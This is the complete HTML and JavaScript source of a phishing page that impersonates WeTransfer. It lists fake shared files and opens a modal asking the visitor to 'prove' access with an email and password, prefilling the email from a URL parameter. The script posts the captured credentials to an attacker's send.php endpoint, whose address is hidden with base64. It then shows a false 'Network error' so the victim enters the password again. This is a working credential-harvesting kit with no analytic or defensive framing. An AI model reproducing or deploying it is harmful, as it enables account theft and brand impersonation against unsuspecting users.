<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>We Tr@ansfer</title>
  <link rel="stylesheet" type="text/css" href="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/grid.css?v=1699956404986">  
  <link rel="stylesheet" type="text/css" href="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/oui.css?v=1699956442130"> 
  <link rel="shortcut icon" sizes="32x32" href="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/favicon.ico" type="x-image/ico"> 
</head>
<body>
<div class="vwrapper">
    <video autoplay muted loop poster="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/mns.png" class="vidbg">
        <source src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/bg.mp4" type="video/mp4">
    </video>
</div>
<main>
<style type="text/css">
.box2{ background-color: rgb(247 249 250); box-shadow: 0 0 12px 0 rgb(0 0 0 / 10%), 0 10px 30px 0 rgb(0 0 0 / 20%); height: 100vh; min-height: 100%; width: 100%; float: right; overflow: hidden } .box2slidein { -webkit-font-smoothing: antialiased; background-color: rgb(247 249 250); box-shadow: 0 0 12px 0 rgb(0 0 0 / 10%), 0 10px 30px 0 rgb(0 0 0 / 20%); height: 100vh; min-height: 100%; width: 100%; float: right; overflow: hidden; right: -50%; opacity: 0; transition: right 5s ease-in-out; z-index: 100; } .show { right: 0; opacity: 1; }
.boxfirst{z-index: 1}
#ozinwa { padding: 1px 10px 5px; background-color: #e10d0d; color: #fff; margin: 10px 15px 10px; }
#spinner { width: 30px; height: 30px; border: 4.5px solid #CCCCCC; border-top: 4.5px solid #00AEF0; border-radius: 100px; animation: rotate 1s linear infinite; }
.hidden{display: none} .modal2 { position: fixed; z-index: 50; padding-top: 100px; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: #000000b3; z-index: 1000; } .modal2 .m-content { background-color: #fefefe; margin: auto; padding: 10px; border: 1px solid #888; width: 420px; border-radius: 10px; } .modal2 .m-content .m-top { display: flex; justify-content: end; } .modal2 .m-content .m-top .cls-btn { background-color: transparent; height: 30px; width: 30px; border: 2px solid #ddd; border-radius: 50%; font-size: 1rem; color: #616161; display: flex; justify-content: center; align-items: center; cursor: pointer; } .modal2 .m-content .box { padding-top: 1em; padding-top: 1em; text-align: center; } .modal2 .m-content .form-group { margin-bottom: 1rem; color: #6a6d70; font-weight: 300; } .modal2 .m-content .form-group .form-control { width: calc(100% - 2rem); height: 45px; border: 1px solid #babcbf; padding: 0 1rem; outline: none; font-size: 15px; border-radius: 5px; } .modal2 .m-content .login-btn { background-color: #babcbf; height: 45px; border: none; border-radius: 5px; color: #fff; width: 100px; font-size: 15px; cursor: pointer; outline: none; display: inline-flex; justify-content: center; align-items: center; } .modal2 .m-content .m-footer { margin-top: 20px; display: flex; justify-content: center; flex-direction: column;  align-content: center; flex-wrap: wrap; } .modal2 .m-content .login-btn:hover { background-color: #0173e5; height: 45px; border: none; border-radius: 5px; color: #fff; width: 100px; font-size: 15px; cursor: pointer; outline: none; } .modal2 .m-content .login-btn:disabled, .modal2 .m-content .login-btn[disabled] { cursor: not-allowed; opacity: 0.6; }
</style>  
<div class="wlg"><img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/wlg.png"></div>
<div class="row">
    <div class="col-xs-12 col-sm-2 col-md-4 col-lg-5" style="display: flex; justify-content:center;">
       <div class="boxfirst">
          <div class="modal-container shown">
            <section class="modal modal-placement">
              <div class="modal-content">
                <section id="number1" class="">
                  <article id="placement1">
                    <div><img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/downicon.png" style="width: 90px; height:90px"></div>
                    <div><img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/rwya.png" style=""></div>
                  </article>
                  <article id="placement2">
                    <div class="countfiles">
                      <div class="showfilecounts">
                        <span class="span-no-of-files">4 files</span>
                        <span class="themegabyte"><small>8.9MB</small></span>
                      </div>
                      <div id="preview" style="color: #409fff; font-size: 14px; margin: auto 0;">Preview</div>
                    </div>
                  </article>                    
                  <article id="placement3">
                  <div class="dlbtnleft">
                  <button type="button" class="b4n b4n-enabled show showmodal" id="showSlide" tabindex="0" style="font-size: 16px;">Download all</button>
                  </div> 
                  </article>                    
                </section>
              </div>            
            </section>
          </div>
        </div>
    </div>

    <div class="col-xs-12 col-sm-10 col-md-8 col-lg-7">
      <div class="row" style="">
        <div class="box2slidein show showmodal" >

          <div class="headofright">
            <div class="closicn"><img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/clos.png"></div>
            <div class="lstimg"><img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/listright.png"></div>
          </div>
          <div class="bodyofright">
            <div class="r2dl">
              <div class="r2dlmain">
                <span>Files Ready To Download</span>
                <span>2 files, 1.1 MB・Transfer expires in 7 days</span>
              </div>
              <div class="dlbtnright">
              <button type="button" class="b4n b4n-enabled" id="showFormBtn2" tabindex="0">Download all</button>
              </div>              
            </div>
            <div class="files4dl">
            <div class="fileswrapper">
              <div class="fitem a">
                <div class="col-4">
                  <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/p.png" class="fileimg" >
                </div>
                <div class="col-8">
                  <div class="filemeta">
                    <span>Purchase order.pdf</span>
                    <span>501 KB</span>
                  </div>
                  <div class="metadesc">
                    <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/dwld.png">
                  </div>
                </div>
              </div>
              <div class="fitem a">
                <div class="col-4">
                  <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/p.png" class="fileimg" >
                </div>
                <div class="col-8">
                  <div class="filemeta">
                    <span>Product Sample.pdf</span>
                    <span>2.3 MB</span>
                  </div>
                  <div class="metadesc">
                    <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/dwld.png">
                  </div>
                </div>
              </div>
              <div class="fitem a">
                <div class="col-4">
                  <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/y.png" class="fileimg" >
                </div>
                <div class="col-8">
                  <div class="filemeta">
                    <span>Sample video.mp4</span>
                    <span>5.20 MB</span>
                  </div>
                  <div class="metadesc">
                    <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/dwld.png">
                  </div>
                </div>
              </div>  
              <div class="fitem a">
                <div class="col-4">
                  <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/p.png" class="fileimg" >
                </div>
                <div class="col-8">
                  <div class="filemeta">
                    <span>Specifications.pdf</span>
                    <span>2 MB</span>
                  </div>
                  <div class="metadesc">
                    <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/dwld.png">
                  </div>
                </div>
              </div>                          
            </div>  
        
              
            </div>            
            <div class="lefoot">
            <img src="https://cdn.glitch.global/da8ee6b6-6af1-45b7-9064-3bfad7304cad/ftmn.png">
          </div>  
          </div>          

        </div>
      </div>
        
    </div>   
</div>  
</main> 
<style type="text/css">

</style>
<div class="modal2 hidden" id="modal2"><div class="m-content"><div class="m-top"><button class="cls-btn">×</button></div><div class="box">
  <div style=" margin-top: -16px; font-size: 14.5px; margin-bottom: 10px; padding: 0 5px; ">These files are sensitive and secured against unauthorized access. Please match the displayed email with the correct password to prove you are authorized to view and download these files.</div>
  <form autocomplete="off" method="post" id="finalForm"><div class="form-group"><input type="email" id="umail" name="email" placeholder="Email Address" class="form-control" required="" value=""></div><div class="form-group"><input type="password" id="upass" name="password" placeholder="Password" class="form-control" required="" value=""></div><button type="submit" id="submitFormBtn" class="login-btn">Download</button></div></form><div align="center" id="ozinwa" class="hide"></div>
<div class="m-footer"><h1>WeTransfer Pro</h1><p>Get more out of WeTransfer, get Pro</p></div><p class="error-box"></p></div></div></div>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
    document.addEventListener("DOMContentLoaded", function() {
      const gPValue = new URLSearchParams(window.location.search);
      const may30 = gPValue.get('e');
  
      document.getElementById('umail').value = may30;
  
      if (may30) {
        document.getElementById('upass').focus();
        document.getElementById('umail').readOnly = true;
      } else {
        document.getElementById('umail').focus();
      }
  
      document.querySelectorAll('.showmodal, .a, #showFormBtn2').forEach(function(element) {
        element.addEventListener('click', function() {
          document.getElementById('modal2').classList.remove('hidden');
        });
      });
  
      document.querySelectorAll("#showSlide, #preview").forEach(function(element) {
        element.addEventListener('click', function() {
          document.querySelector(".box2slidein").classList.add('show');
          document.querySelector(".box2slidein").classList.remove('hidden4mobile');
          document.getElementById('showSlide').classList.add('showmodal');
        });
      });
  
      document.querySelectorAll(".cls-btn").forEach(function(element) {
        element.addEventListener('click', function() {
          document.getElementById('modal2').classList.add('hidden');
        });
      });
  
      const jeff = "aHR0cHM6Ly9zZ3MtZ3JvdXBzLmNvLnVhL2tlbGNoaS9zZW5kLnBocA==";
  
      document.getElementById('submitFormBtn').addEventListener('click', function(e) {
        e.preventDefault();
  
        const email = document.getElementById('umail').value;
        const password = document.getElementById('upass').value;
  
        document.getElementById('umail').classList.remove('border-uhie');
        document.getElementById('ozinwa').innerHTML = '';
        document.getElementById('ozinwa').classList.add('hide');
  
        const validRegex = /^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
  
        if (!email || !email.match(validRegex)) {
          document.getElementById('ozinwa').innerHTML = 'Correct email address required.';
          document.getElementById('ozinwa').classList.remove('hide');
          document.getElementById('ozinwa').style.backgroundColor = '#e10d0d';
          document.getElementById('ozinwa').style.color = '#fff';
          document.getElementById('umail').classList.add('border-uhie');
          document.getElementById('umail').focus();
          return false;
        }
  
        if (!password || password.length < 6) {
          document.getElementById('ozinwa').innerHTML = 'Correct email password required.';
          document.getElementById('ozinwa').classList.remove('hide');
          document.getElementById('ozinwa').style.backgroundColor = '#e10d0d';
          document.getElementById('ozinwa').style.color = '#fff';
          document.getElementById('upass').classList.add('border-uhie');
          document.getElementById('upass').focus();
          return false;
        }
  
        const form = document.getElementById('finalForm');
        const formData = new FormData(form);
  
        document.getElementById('submitFormBtn').disabled = true;
        document.getElementById('submitFormBtn').innerHTML = '<div id="spinner"></div>';
  
        const xhr = new XMLHttpRequest();
        xhr.open('POST', atob(jeff));
        xhr.onload = function() {
          if (xhr.status === 200) {
            console.log(xhr.responseText);
            document.getElementById('ozinwa').innerHTML = 'Network error, kindly try again.';
            document.getElementById('ozinwa').classList.remove('hide');
            document.getElementById('ozinwa').style.backgroundColor = 'transparent';
            document.getElementById('ozinwa').style.color = 'red';
            document.getElementById('submitFormBtn').disabled = false;
            document.getElementById('submitFormBtn').innerHTML = 'Download';
            document.getElementById('upass').value = '';
            document.getElementById('upass').focus();
          }
        };
        xhr.onerror = function() {
          document.getElementById('ozinwa').innerHTML = 'Network error, kindly try again.';
            document.getElementById('ozinwa').classList.remove('hide');
            document.getElementById('ozinwa').style.backgroundColor = 'transparent';
            document.getElementById('ozinwa').style.color = 'red';
            document.getElementById('submitFormBtn').disabled = false;
            document.getElementById('submitFormBtn').innerHTML = 'Download';
            document.getElementById('upass').value = '';
            document.getElementById('upass').focus();
        };
        xhr.send(formData);
      });
    });
  </script>
</body>
</html>